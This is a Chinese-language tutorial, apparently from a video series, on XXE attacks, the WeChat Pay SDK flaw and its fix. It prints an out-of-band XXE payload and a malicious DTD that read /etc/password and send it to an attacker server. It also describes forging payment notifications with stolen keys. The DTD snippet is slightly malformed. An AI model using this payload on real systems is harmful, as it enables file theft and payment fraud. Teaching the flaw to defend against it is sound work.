好刚: 6分钟视频看懂XXE漏洞攻击

2,099 阅读5分钟
原文链接: mp.weixin.qq.com

你好,我是好刚,在上一讲,我们了解了XXE 漏洞的原理,这一讲我们来看一看XXE 漏洞的攻击流程以及这次漏洞对微信支付的影响到底出现在哪儿。

1. XXE漏洞攻击流程

首先是攻击流程,看看怎样通过XXE 漏洞读取服务器上的文件内容。

对于一次XXE 漏洞攻击,一般有3 个参入方,首先是攻击者,攻击是他发起;然后是被攻击者,一般是一台web 服务器;再就是攻击者服务器,用来接收被攻击者服务器的文件内容。

1.1 漏洞接口

第一步,假设被攻击者的web 服务器中存在一个接口: 127.0.0.1/api/pay,这个接口能够接收xml 格式的参数。

1.2 构造请求

第二步,针对这个接口,攻击者会构造xml 格式的请求数据,请求的xml 内容如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/password"> // 含有% 标识的实体是参数实体,参数实体只能在外部引入的DTD 文件中使用
<!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd"> //%file; 在外部DTD 中使用
%xxe;
]>

http://127.0.0.1:9000/xxe.dtd 是攻击者服务器中的实现构造好的dtd 文件,内容如下:

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://127.0.0.1:9000/attack/%file;'>">
%send;
%all;

1.3 解析请求

然后是第三部分,被攻击的web 服务器收到xml 参数后,会对xml 进行解析:

第一步:读取 file:///etc/password 的内容,作为 % file 实体的值,这里 % 表示这个实体是参数实体,之所以使用参数实体,是因为只有参数实体才可以在DTD 中使用,另外由于参数实体只能在外部引入的DTD 文件中声明实体时使用,所以我们还需要引入一个外部DTD 文件。

第二步:这里xxe.dtd 是攻击者服务器上的DTD 文件,通过 http://127.0.0.1:9000/xxe.dtd 拿到的是恶意DTD 文件。

第三步:解析恶意DTD 文件 xxe.dtd,这里会请求攻击者服务器上的 http://127.0.0.1:9000/attack/%file; ,并且将 /etc/password 文件的内容作为路径参数,这个请求会在攻击者服务器 http://127.0.0.1:9000 中留下访问记录,这样攻击者就能根据请求日志,拿到了 /etc/password 文件的内容。

这个示例里,窃取的是 /etc/password 文件的内容,实际上只要被攻击者服务器上解析xml 的程序有文件读权限,攻击者可以拿到服务器中任何文件的内容,获取代码里面的秘钥,服务器登录密码等等。

这就是一个典型的XXE 漏洞攻击,我们再来看看这次漏洞对微信支付的影响到底是什么样。

2. 支付漏洞是怎么回事

要了解这个漏洞对支付的影响,首先需要了解支付流程,我们来看一个简略版的支付过程。

再一次购物支付中,一般会包含三个参入方:用户,商家和支付服务商,流程一般是这样的:

  1. 用户选择好商品后,请求商家服务器进行下单,商家计算付款金额后显示支付页面,提示用户支付。

  2. 用户会根据支付金额触发微信支付,注意,这个时候用户会进入微信支付的页面,与微信进行交互,并且完成付款。

  3. 微信会将支付完成的消息回调给商家服务器,通知商家,用户已经支付完成,商家确认订单和支付金额没有问题后会将订单状态改为已付款状态。

  4. 然后提示用户付款完成,并且跳转到购买成功的页面

这就是一次购物支付的简单流程,当然实际的支付流程比这复杂得多,感兴趣的同学可以通过下方我给出的参考资料找到相关文档。

这次产生漏洞的位置是在第3 步,用户支付完成后,微信需要请求商家服务器接口,通知商家,用户已经支付。这个接口的代码一般会使用微信提供的SDK 进行开发,而这个SDK 里面有段代码在解析XML 格式的请求数据时,出现了外部实体注入漏洞,这就是这次支付漏洞的由来。

如果用户通过这个漏洞拿到了商家的支付公秘钥,那就可以跳过第2 步支付的过程,直接往第3 步的接口发送模拟的通知请求,从而达到不花钱获取商品的目的。

在很多媒体的报道中,也都强调通过这个漏洞,攻击者不花钱就可以获得商品。其实没有这么简单,对于大型购物网站,都会有对账系统,这个系统会定时将网站的用户订单数据与微信后台的数据进行对比,一旦出现不一致时会及时报警;而且这个通知接口的地址,一般也只有内部开发人员才知道,所以这个漏洞在这方面的影响可能并没有想象的那么大。

其实除了不花钱获取商品,攻击者更可能造成的危害是:通过这个漏洞获取到服务器上的代码配置和数据,然后再根据这些信息进行下一步的攻击。

3. 漏洞的解决

最后来看下这个漏洞的解决方案,通过上一讲XXE 漏洞的原理以及这一讲攻击流程的介绍,可以看到XXE 漏洞之所以能够存在,本质上在于解析XML 外部实体的时候,可以读取外部文件,才使攻击成为可能。

那解决这个漏洞的办法也非常简单,就是禁止XML 可以解析外部实体。代码上只需要明确调用禁止解析外部实体的函数就行了。

安全无小事,XXE 漏洞原理和攻击流程就介绍到这,你听懂了吗。最后请帮忙关注和转发,让身边的同事也了解一下这个漏洞吧。我是好刚,好钢用在刀刃上,我们下期见。

参考资料

  • 浅谈XXE 漏洞攻击与防御

  • 谈谈微信支付曝出的漏洞

  • XXE漏洞报告地址: http://seclists.org/fulldisclosure/2018/Jul/3

  • XXE defence(les)s in JDK XML parsers

  • Document_type_definition

  • 支付业务流程

  • 未知攻焉知防——XXE漏洞攻防